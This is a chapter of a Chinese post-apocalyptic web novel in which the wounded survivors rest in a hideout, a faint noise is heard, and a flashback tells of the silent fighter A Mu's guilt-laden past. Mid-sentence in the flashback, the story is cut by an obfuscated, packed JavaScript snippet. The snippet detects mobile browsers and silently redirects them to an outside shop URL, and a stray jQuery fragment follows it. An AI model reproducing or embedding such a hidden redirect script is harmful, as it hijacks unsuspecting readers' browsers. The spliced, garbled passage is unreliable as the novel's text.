10. 无声的重量
作品:《第七病栋影蚀起源》 时间在黑暗的地下据点里失去了刻度,只能通过身体的需要和火把的更换来模糊估算。雷烬的伤口在林岚的精心处理和阿木带回的、某种变异蜥蜴分泌的凝血粘液帮助下,终于止住了血,开始结痂。但失血和可能的毒素影响让他异常虚弱,大部分时间都靠着墙壁昏睡,脸色苍白,呼吸粗重。每一次咳嗽都牵动伤口,让他额角渗出冷汗。
小豆在额头上持续敷用凝神苔药膏后,情况稳定下来。不再抽搐,噩梦般的呓语也减少了,只是依然昏沉,偶尔会茫然地睁眼看看四周,很快又陷入半睡半醒的状态。林岚说,这是精神受创后本能的保护性休眠,需要时间和更有效的药物才能真正恢复。
队伍失去了最锋利的矛和最坚固的盾,被迫滞留在这个相对隐蔽但也危机四伏的据点里。食物和净水在缓慢消耗,寂静中弥漫着焦虑。
顾风的皮外伤愈合得很快,这得益于淡金色灵珠持续滋养的身体。但他内心的不安却在与日俱增。影子的问题如同悬在头顶的利剑。隧道战斗最后那瞬间的异样感,像一根刺扎在脑海里。他尝试过几次,在独自警戒或休息时,集中精神去“感受”脚下的阴影。有时,他似乎能捕捉到一丝极其微弱、冰冷而陌生的“脉动”,与他自己的心跳完全不同步;有时,又一切如常,仿佛之前的都是错觉和紧张导致的幻觉。
他不敢声张,尤其是在雷重伤、小豆未醒的当下。但他需要信息。
林岚是队伍里知识最渊博的人,似乎对许多变异生物、草药,乃至一些“旧世界”的残留知识都有了解。她也是除雷烬外,对“异变”和“灵珠”话题最不避讳的人。
这天,轮到顾风和清醒时的雷烬负责警戒入口(雷烬坚持如此,只是坐着),林岚在角落用一块相对干净的石板小心处理、晾晒剩余的凝神苔。顾风挪了过去,假装帮忙。
“林岚姐,”他压低声音,尽量让语气听起来只是好奇,“你之前说,我们身上的‘问题’,在这里可能成为工具…是什么意思?”
林岚手上的动作顿了一下,没有立刻抬头,继续将一片苔藓摊开。“就是对字面的理解,顾风。”她的声音很轻,“从‘摇篮’里出来的人,或多或少,都和正常世界的人…不太一样了。可能是身体,可能是精神,也可能是别的什么。”她抬眼看了顾风一下,眼神复杂,“这种‘不一样’,在旧世界叫病,在这里,如果控制得好,或许能让你多活几天。”
“比如…影子?”顾风试探着问。
林岚的目光锐利起来,她放下手里的苔藓,拍了拍手上的碎屑。“你感觉到什么了?”
顾风犹豫了一下,还是将隧道里最后时刻,影子的异常“稳定”和可能对潜影鼠产生的微妙影响说了出来,省略了那种被“凝视”的诡异感觉。
林岚听得很仔细,眉头渐渐蹙起。“影响外界生物…这很少见。通常,‘影子’类异变的初期表现,更多是针对自身,或者对环境中的‘暗影能量’更敏感。”她思索着,“你结算时获得的那颗淡金色灵珠,还在吗?”
顾风点头,从贴身口袋里拿出来。珠子在昏暗光线下,依旧流转着内敛的淡金微光。
林岚没有接过去,只是仔细看着。“‘赎回自我边界’的代价…你支付的是‘清晰看待世界的视线’。这很抽象,但往往意味着你的‘认知’或‘感知’层面发生了某种变化或强化。”她顿了顿,“也许,你开始能‘看到’或‘感觉到’影子更深层的状态,甚至…在特定情况下,能施加微弱的影响。但这只是猜测。”
“这影响…是好事吗?”顾风问。
“不知道。”林岚回答得很干脆,“任何超出常规的能力,在使用时都在支付额外的代价。可能是消耗灵珠能量更快,可能是加剧你自身的异变,也可能是吸引来更麻烦的东西——有些存在,对特殊的‘波动’很感兴趣。”她的目光扫过顾风脚下,“尤其是在你还没能真正理解和控制它的时候,最好…保持低调,尽量别用它。”
顾风默然,将灵珠收回。林岚的话没有带来安慰,反而增添了更深的不确定性。但他至少知道,自己不是唯一的特例,也并非完全盲目。
“对了,”林岚像是想起什么,声音压得更低,“关于阿木…你最好别在他面前提起‘声音’或者‘听力’相关的事,尤其是…巨大的声响。”
顾风一愣:“为什么?”
林岚看了一眼守在另一侧通道阴影里、如同岩石般沉默的阿木,眼神里掠过一丝同情。“那是他的‘亏欠’,也是他变成现在这样的原因。他以前…不是这样的。”
她没有再说下去,但顾风已经明白。在这个末世,每个人都有不愿触及的过往,都有无法偿还的“债务”。阿木的沉默,或许就是他那份债务最沉重的利息。
警戒时间轮换。顾风回到休息处,接过老陈递过来的半块压缩干粮和一小口水。老陈自己只抿了一小口,就小心翼翼地把水壶盖拧紧。这个头发花白的男人脸上总是带着一种认命般的疲惫和挥之不去的恐惧,仿佛惊弓之鸟。顾风对他了解最少,只知道他似乎对这片区域的旧建筑结构有些记忆。
“老陈,你来这里之前…是做什么的?”顾风咬了一口干粮,随口问道,试图驱散一些沉闷。
老陈的身体几不可察地抖了一下,浑浊的眼睛里闪过慌乱。“我…我就是个普通工人,厂子里的…后来,大崩溃了,就…就到处躲。”他语无伦次,眼神躲闪,显然不愿多谈。
顾风不再追问。又是一段被痛苦和恐惧尘封的记忆。
后半夜,轮到阿木和顾风警戒。雷烬终于支撑不住,在林岚的强迫下躺下休息,但睡得很不安稳。小豆依旧昏沉。林岚在照顾他们间歇,也累得靠着墙壁打盹。老陈则蜷缩在离火把最远的角落,似乎睡着了,但眼皮不时颤动。
据点里只剩下火把燃烧的噼啪声,和几人深浅不一的呼吸声。绝对的寂静包裹着这片小小的空间,又将无限的危险隔绝在门外的黑暗废墟中。这种寂静,比喧嚣更让人心神不宁,因为它掩盖了太多可能的逼近。
阿木守在卷帘门缺口内侧的阴影里,几乎与黑暗融为一体。他坐姿笔直,那把沉重的改造砍刀横放在膝上,手掌轻轻覆着刀柄。他的眼睛在黑暗中微微反光,像两点冰冷的炭火,一瞬不瞬地盯着门外的虚无。
顾风则坐在稍靠里一点的位置,背靠着一个空铁桶,长矛放在手边。他的目光不时扫过入口,又掠过据点内沉睡的同伴,最后落回自己身前跳动的火光投下的摇曳阴影上。他试图放空大脑,但隧道里潜影鼠油绿的眼睛、影子那诡异的“稳定”,以及林岚关于“代价”和“吸引麻烦”的警告,总是不由自主地浮现。
就在这时——
“咯啦…哗啦……”
一阵极其轻微、但绝非幻觉的声响,从据点深处、他们未曾仔细探索过的黑暗角落传来!像是细碎的石子滚动,又像是某种轻巧的东西刮擦过金属表面。
声音很轻,但在绝对的寂静中,清晰得刺耳!
顾风瞬间绷紧了身体,抓起了长矛,目光死死盯向声音来源的方向——那里堆着更多的废弃货架和杂物,火把的光完全照不到,是一片浓稠的黑暗。
几乎在同一时刻,一直如同雕像般的阿木,身体也几不可察地震动了一下。他没有立刻转头,但覆在刀柄上的手指,猛然收紧,指节泛白。他整个人的气息,在那一瞬间,从冰冷的警戒,变成了一种更加深沉、更加压抑的…**紧绷**。
那不是对普通危险的戒备。那是一种仿佛被触动了某个致命开关的反应。
*那声音…太熟悉了。不是现在这种,是另一种,但也同样是轻微得几乎被忽略,同样来自黑暗的、未被注意的角落。
**那时他还不叫阿木,他叫吴铁。他是“磐石”庇护所外墙维修队的一名骨干。他力气大,沉默,但做事扎实可靠。他有个妻子,叫小芹,温柔爱笑,在庇护所内部的种植区工作。他们还有一个五岁的女儿,叫妞妞,眼睛像她妈妈,亮晶晶的,最喜欢缠着他讲“旧世界”那些已经模糊不清的故事。*
**庇护所的外墙年久失修,出现了一道不起眼的裂缝,在底部排水沟附近,被杂草和垃圾遮掩。巡逻队报告过,但优先级不高。那天轮到他带小队去做例行维护检查。妞妞那天不知怎的,非要跟着他,说想看看爸爸工作的地方。小芹拗不过,加上只是庇护所外墙内侧的相对安全区域,就同意了。*
**他检查着其他部分,妞妞就在不远处的空地上玩石子,哼着不成调的歌。一切都那么平常。*
**然后,他就听到了那个声音——从那段有裂缝的墙根附近,一堆废弃建材后面传来的一声轻微的“咯啦”声,像是小石头被碰落。他当时没太在意,以为是老鼠或者风吹。只是下意识地往那边瞥了一眼。*
**就在他分神的那一两秒,他负责检查的一处老旧的墙体加固螺栓,因为常年锈蚀和承重,突然崩断了!上方一块松动的预制板轰然滑落!而他原本站的位置,正好是预制板砸落的范围!*
**千钧一发之际,是队里一个年轻的小伙子,叫小李,猛地从旁边扑过来,将他狠狠撞开!*
**“轰!”预制板砸在地上,尘土飞扬。他摔倒在地,安然无恙。*
**但小李…小李的腿被垮塌下来的另一堆杂物压住了,鲜血瞬间染红了地面。他惨叫起来。*
**吴铁脑子一片空白,赶紧和其他队员去搬杂物救人。一片混乱中,他眼角余光似乎看到,那段有裂缝的墙根处,杂草晃动了一下,一个矮小、佝偻、皮肤灰暗的身影一闪而过,钻进了墙体外侧更深的阴影里。但那时的他,全部心思都在惨叫的小李身上。*
**小李最终被救了出来,但腿废了,从此离不开拐杖。庇护所的医疗条件有限,他感染了,高烧了几天,差点没挺过来。*
**吴铁内心充满了愧疚。如果不是自己分神,如果不是小李救他…他承担了小李所有的医疗费用(尽管也没多少),尽可能照顾他。但小李看他的眼神,从最初的痛苦,慢慢变成了麻木,最后是一种让他无法直视的、深不见底的黯淡。小李原本是个很活跃、很有想法的小伙子,梦想着有一天能跟着探险队出去寻找更多的资源。现在,一切都毁了。*
**吴铁变得越发沉默,只是拼命工作,想弥补。他总觉得,墙根那个声音和一闪而过的影子有问题,但没人相信他,都说是他压力太大产生的幻觉,或者就是一只大点的老鼠。*
**真正的噩梦在一个月后。那天他休息,和小芹一起带妞妞在相对安全的内部区域散步。妞妞跑在前面,捡到了一颗闪闪发亮的彩色玻璃珠(可能是某个旧玩具上掉落的),开心地跑回来想给他看。*
**就在妞妞离他还有几步远的时候,庇护所内部用来分隔区域的、同样老旧的一道金属隔离栅栏,毫无征兆地整体倾倒下来!那栅栏很重,边缘锋利!*
**而妞妞,正好在栅栏倒下的阴影里!*
**时间仿佛凝固。小芹的尖叫,周围人的惊呼,都变成了模糊的背景音。他只看到妞妞仰起的小脸上快乐的笑容瞬间被惊恐取代,看到那巨大的阴影向她压去。*
**他用尽毕生最快的速度扑过去,脑子里只有一个念头:推开她!*
**他碰到了妞妞的衣服,用力将她往外推。妞妞被他推得踉跄扑倒,摔在安全区域。*
**而他自己,因为全力前扑和推搡的反作用力,身体失去了平衡,没能完全躲开。*
**“哐!!!”*
**沉重的栅栏边缘,擦着他的左侧身体砸落在地。剧痛瞬间淹没了他,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081228|195322||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他听到了自己肋骨断裂的声音,左臂传来骨头错位的脆响。他摔倒在地,灰尘灌满口鼻。*
**但妞妞安全了。小芹哭喊着扑过来抱住吓呆的妞妞,又来看他。*
**在极致的疼痛和眩晕中,在周围嘈杂的人声里,吴铁的耳朵却捕捉到了一个声音——和上次一样,轻微的,从倾倒栅栏的基座阴影里传来的,“咯啦”一声,像是小石子被踢动。*
**还有一声极轻极轻的,仿佛从喉咙深处挤出来的、带着恶意满足感的…嗬气声。*
**他猛地扭头看去,只看到阴影里,似乎有一双非人的、闪着幽光的眼睛,瞬间消失。*
**这一次,他确定了。不是幻觉,不是老鼠。有东西,藏在阴影里,制造“意外”。而他,是目标?还是波及?是因为他发现了裂缝?还是别的什么?*
**他不知道。他只知道,因为第一次的“意外”,小李残废了。因为第二次的“意外”,他自己重伤,差点死去(休养了足足三个月),而且…他保护了妞妞,但那种与死亡擦肩而过、女儿险些丧命的巨大后怕和恐惧,深深地刻进了小芹和妞妞的心里。她们看他的眼神,除了心疼,也多了某种难以言说的、仿佛他带来了厄运的恐惧。*
**庇护所的管理层依然不相信他关于“阴影中东西”的说法,认为只是接连的不幸和巧合,加上他重伤后精神不稳。*
**伤愈后,吴铁变得更沉默了,几乎不再说话。他总觉得有冰冷的目光在阴影里注视着他和他的家人。他不敢再让妞妞离开视线,变得过度警惕,任何一点风吹草动都让他紧张。这种状态影响了工作,也让家庭气氛越发压抑。小芹脸上的笑容越来越少,妞妞也变得胆怯。*
**直到有一天,他因为一个极其微小的、仿佛金属刮擦的声音而猛地跳起,撞翻了桌子,吓哭了妞妞。小芹抱着哭泣的女儿,看着他,眼泪无声地流下来,说:“铁子,你这样…我们都很累。”*
**那一刻,他明白了。他成了她们的负担和恐惧之源。他的存在本身,似乎就会吸引那些隐藏在阴影里的“意外”。他欠小李一条健全的腿和未来,欠家人一份安宁。*
**后来,“磐石”庇护所在一次大规模的袭击中陷落了。混乱中,他拼命保护家人,但失散了。他再也没找到小芹和妞妞。也许她们死在了那场混乱里,也许还活着,在别的什么地方。但他知道,自己再也无法回到她们身边了。他是不祥的,是会带来厄运的。*
**他逃了出来,独自在废墟里流浪了很久,像一具没有灵魂的行尸走肉。直到遇到雷烬和林岚,他们不问他的过去,只看他还能握刀,还能战斗,还能遵守命令。于是他跟着他们,改名叫阿木,像一块木头,沉默,坚硬,只做该做的事,不说多余的话。他用这种方式,惩罚自己,也偿还那份永远无法清偿的亏欠——对小李,对小芹,对妞妞。而那份对阴影中轻微异响的、深入骨髓的警惕和瞬间爆发的杀意,则成了他在这末世生存的本能,也是他永远无法摆脱的梦魇。*
那从据点深处传来的“咯啦…哗啦”声已经消失了,仿佛从未出现过。但据点内的气氛已经彻底改变。
阿木缓缓地、无声地从阴影中站了起来。他没有冲向声音来源,而是像一头蓄势待发的黑豹,全身肌肉紧绷,目光死死锁定了那片黑暗的角落,握着刀柄的手背青筋虬结。他的呼吸变得极其轻微,几乎听不见,但顾风能感觉到一种可怕的、近乎实质的杀气从他身上弥漫开来。
顾风也站了起来,握紧长矛,心脏狂跳。他不知道阿木的过去,但能感觉到这个沉默的汉子此刻状态极端危险,而且针对的,可能不仅仅是潜在的外来威胁。
林岚和雷烬也被这凝重的气氛惊醒了。雷烬勉强撑起身体,眼神锐利地看向阿木和顾风警戒的方向。林岚则迅速而无声地移动到了小豆和老陈身边,将他们护在身后,手中多了一把小巧但锋利的匕首。
火把的光芒在空气中不安地跳跃,将几个人的影子投在墙壁上,张牙舞爪。
那片传来声响的黑暗角落,寂静无声。仿佛刚才的一切只是集体幻觉。
但阿木没有放松。他就那么站着,盯着,像一尊冰冷的杀神。时间一分一秒过去,压抑得让人喘不过气。
顾风忍不住想开口询问,或者提议过去查看。但看到阿木那副模样,话堵在喉咙里,说不出来。
最终,是雷烬嘶哑的声音打破了死寂:“阿木。”
只是叫了一声名字,没有命令,没有询问。
阿木的身体几不可察地晃了一下,仿佛从某种极深的梦魇中被强行拉回。他极其缓慢地转过头,看向雷烬。眼中的冰冷杀意和深藏的痛楚如潮水般退去,重新变回那种惯常的、石头般的沉寂。但他握着刀的手,依旧没有松开。
“可能是…结构松动的杂物,或者…很小的变异虫。”雷烬慢慢地说,声音带着重伤后的虚弱,却有一种奇特的安抚力量,“休息吧。顾风,提高警惕。”
阿木沉默地又看了一眼那片黑暗,终于,缓缓坐回了原位,但姿势依旧紧绷,刀依旧横在膝上。
危机似乎暂时解除。但所有人都知道,有些东西不一样了。阿木那瞬间爆发的、几乎要撕裂空气的可怕气息,和他眼中一闪而逝的深切痛苦,都在无声地诉说着一个沉重无比的故事。
顾风重新坐下,后背却已被冷汗浸湿。他不仅因为可能存在的潜在危险,更因为阿木的反应。那份沉默之下的重量,似乎比这废墟世界本身,更让人感到窒息。
这一夜,无人再能安睡。火把的光摇曳着,试图驱散角落的黑暗,也试图照亮每个人心中那片更深的、无法言说的阴影。
而顾风脚下的影子,在火光和众人紧张的影子交织中,安静地伏着,颜色似乎比任何时候都要深沉。

